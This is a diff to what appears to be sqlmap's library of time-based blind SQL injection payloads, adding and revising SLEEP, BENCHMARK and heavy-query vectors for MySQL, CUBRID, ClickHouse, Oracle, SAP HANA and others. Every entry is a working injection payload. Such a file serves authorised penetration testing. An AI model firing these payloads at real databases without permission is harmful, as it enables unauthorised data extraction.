<clause>1-8</clause>
+387 -62
View File
@@ -11,9 +11,9 @@
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -31,9 +31,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -51,9 +51,9 @@
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>AND SLEEP([SLEEPTIME])</payload>
<payload>AND !SLEEP([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -71,9 +71,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>OR SLEEP([SLEEPTIME])</payload>
<payload>OR !SLEEP([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -91,9 +91,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>AND SLEEP([SLEEPTIME])</payload>
<payload>AND !SLEEP([SLEEPTIME])</payload>
<comment>#</comment>
</request>
<response>
@@ -112,9 +112,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>OR SLEEP([SLEEPTIME])</payload>
<payload>OR !SLEEP([SLEEPTIME])</payload>
<comment>#</comment>
</request>
<response>
@@ -133,9 +133,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
@@ -154,9 +154,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
@@ -169,7 +169,7 @@
</test>
<test>
<title>MySQL &lt; 5.0.12 AND time-based blind (heavy query)</title>
<title>MySQL &lt; 5.0.12 AND time-based blind (BENCHMARK)</title>
<stype>5</stype>
<level>2</level>
<risk>2</risk>
@@ -189,7 +189,27 @@
</test>
<test>
<title>MySQL &lt; 5.0.12 OR time-based blind (heavy query)</title>
<title>MySQL &gt; 5.0.12 AND time-based blind (heavy query)</title>
<stype>5</stype>
<level>3</level>
<risk>2</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
<request>
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt; 5.0.12 OR time-based blind (BENCHMARK)</title>
<stype>5</stype>
<level>2</level>
<risk>3</risk>
@@ -209,7 +229,27 @@
</test>
<test>
<title>MySQL &lt; 5.0.12 AND time-based blind (heavy query - comment)</title>
<title>MySQL &gt; 5.0.12 OR time-based blind (heavy query)</title>
<stype>5</stype>
<level>3</level>
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
<request>
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt; 5.0.12 AND time-based blind (BENCHMARK - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
@@ -230,7 +270,28 @@
</test>
<test>
<title>MySQL &lt; 5.0.12 OR time-based blind (heavy query - comment)</title>
<title>MySQL &gt; 5.0.12 AND time-based blind (heavy query - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
<request>
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
<comment>#</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt; 5.0.12 OR time-based blind (BENCHMARK - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>3</risk>
@@ -250,6 +311,27 @@
</details>
</test>
<test>
<title>MySQL &gt; 5.0.12 OR time-based blind (heavy query - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
<request>
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
<comment>#</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 RLIKE time-based blind</title>
<stype>5</stype>
@@ -257,9 +339,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
<request>
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -277,9 +359,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
<request>
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
<comment>#</comment>
</request>
<response>
@@ -298,9 +380,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -318,9 +400,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
@@ -339,9 +421,9 @@
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -359,9 +441,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -378,9 +460,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
<comment>#</comment>
</request>
<response>
@@ -398,9 +480,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
<comment>#</comment>
</request>
<response>
@@ -588,7 +670,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -610,7 +691,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -631,7 +711,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -652,7 +731,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -674,7 +752,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -696,7 +773,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1016,6 +1092,45 @@
</details>
</test>
<test>
<title>CUBRID AND time-based blind (SLEEP)</title>
<stype>5</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<!-- db_root (Cubrid-only catalog) anchors SLEEP so it fires only on Cubrid, not on MySQL which also has SLEEP -->
<vector>AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
<request>
<payload>AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Cubrid</dbms>
</details>
</test>
<test>
<title>CUBRID OR time-based blind (SLEEP)</title>
<stype>5</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
<request>
<payload>OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Cubrid</dbms>
</details>
</test>
<test>
<title>Firebird &gt;= 2.0 AND time-based blind (heavy query)</title>
<stype>5</stype>
@@ -1418,6 +1533,82 @@
</details>
</test>
<test>
<title>ClickHouse AND time-based blind (sleepEachRow)</title>
<stype>5</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
<request>
<payload>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>ClickHouse</dbms>
</details>
</test>
<test>
<title>ClickHouse OR time-based blind (sleepEachRow)</title>
<stype>5</stype>
<level>5</level>
<risk>3</risk>
<clause>1,2,3</clause>
<where>2</where>
<vector>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
<request>
<payload>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>ClickHouse</dbms>
</details>
</test>
<test>
<title>ClickHouse AND time-based blind (heavy query)</title>
<stype>5</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
<request>
<payload>AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>ClickHouse</dbms>
</details>
</test>
<test>
<title>ClickHouse OR time-based blind (heavy query)</title>
<stype>5</stype>
<level>5</level>
<risk>3</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
<request>
<payload>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>ClickHouse</dbms>
</details>
</test>
<!-- End of time-based boolean tests -->
<!-- Time-based boolean tests - Numerous clauses -->
@@ -1472,9 +1663,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>(CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
<vector>(CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
<request>
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -1492,9 +1683,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -1506,15 +1697,15 @@
</test>
<test>
<title>MySQL &lt; 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
<title>MySQL &lt; 5.0.12 time-based blind - Parameter replace (BENCHMARK)</title>
<stype>5</stype>
<level>4</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</vector>
<request>
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</payload>
</request>
<response>
<time>[DELAYED]</time>
@@ -1525,6 +1716,26 @@
</details>
</test>
<test>
<title>MySQL &gt; 5.0.12 time-based blind - Parameter replace (heavy query - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
<request>
<payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL time-based blind - Parameter replace (bool)</title>
<stype>5</stype>
@@ -1532,9 +1743,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>([INFERENCE] AND SLEEP([SLEEPTIME]))</vector>
<vector>([INFERENCE] AND !SLEEP([SLEEPTIME]))</vector>
<request>
<payload>([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))</payload>
<payload>([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME]))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -1551,9 +1762,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -1570,9 +1781,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -1638,11 +1849,30 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
<!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
<!-- DBMS_SESSION.SLEEP is granted to PUBLIC on Oracle 18c+ (unlike DBMS_LOCK.SLEEP, which needs an explicit grant); tried first so modern targets get a no-privilege delay, falling back to DBMS_LOCK.SLEEP on older releases -->
<test>
<title>Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP)</title>
<stype>5</stype>
<level>3</level>
<risk>1</risk>
<clause>1,3,9</clause>
<where>3</where>
<vector>BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</vector>
<request>
<payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
<stype>5</stype>
@@ -1785,7 +2015,7 @@
<level>4</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</vector>
<request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</payload>
@@ -1805,7 +2035,7 @@
<level>5</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</vector>
<request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</payload>
@@ -1847,9 +2077,9 @@
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
<request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
@@ -1861,7 +2091,7 @@
</test>
<test>
<title>MySQL &lt; 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
<title>MySQL &lt; 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK)</title>
<stype>5</stype>
<level>4</level>
<risk>2</risk>
@@ -1936,7 +2166,25 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
<test>
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP)</title>
<stype>5</stype>
<level>3</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</vector>
<request>
<payload>,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
@@ -2038,5 +2286,82 @@
</details>
</test>
<test>
<title>SAP HANA AND time-based blind (heavy query)</title>
<stype>5</stype>
<level>3</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
<request>
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP HANA</dbms>
</details>
</test>
<test>
<title>SAP HANA OR time-based blind (heavy query)</title>
<stype>5</stype>
<level>3</level>
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
<request>
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP HANA</dbms>
</details>
</test>
<test>
<title>SAP HANA AND time-based blind (heavy query - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>1</where>
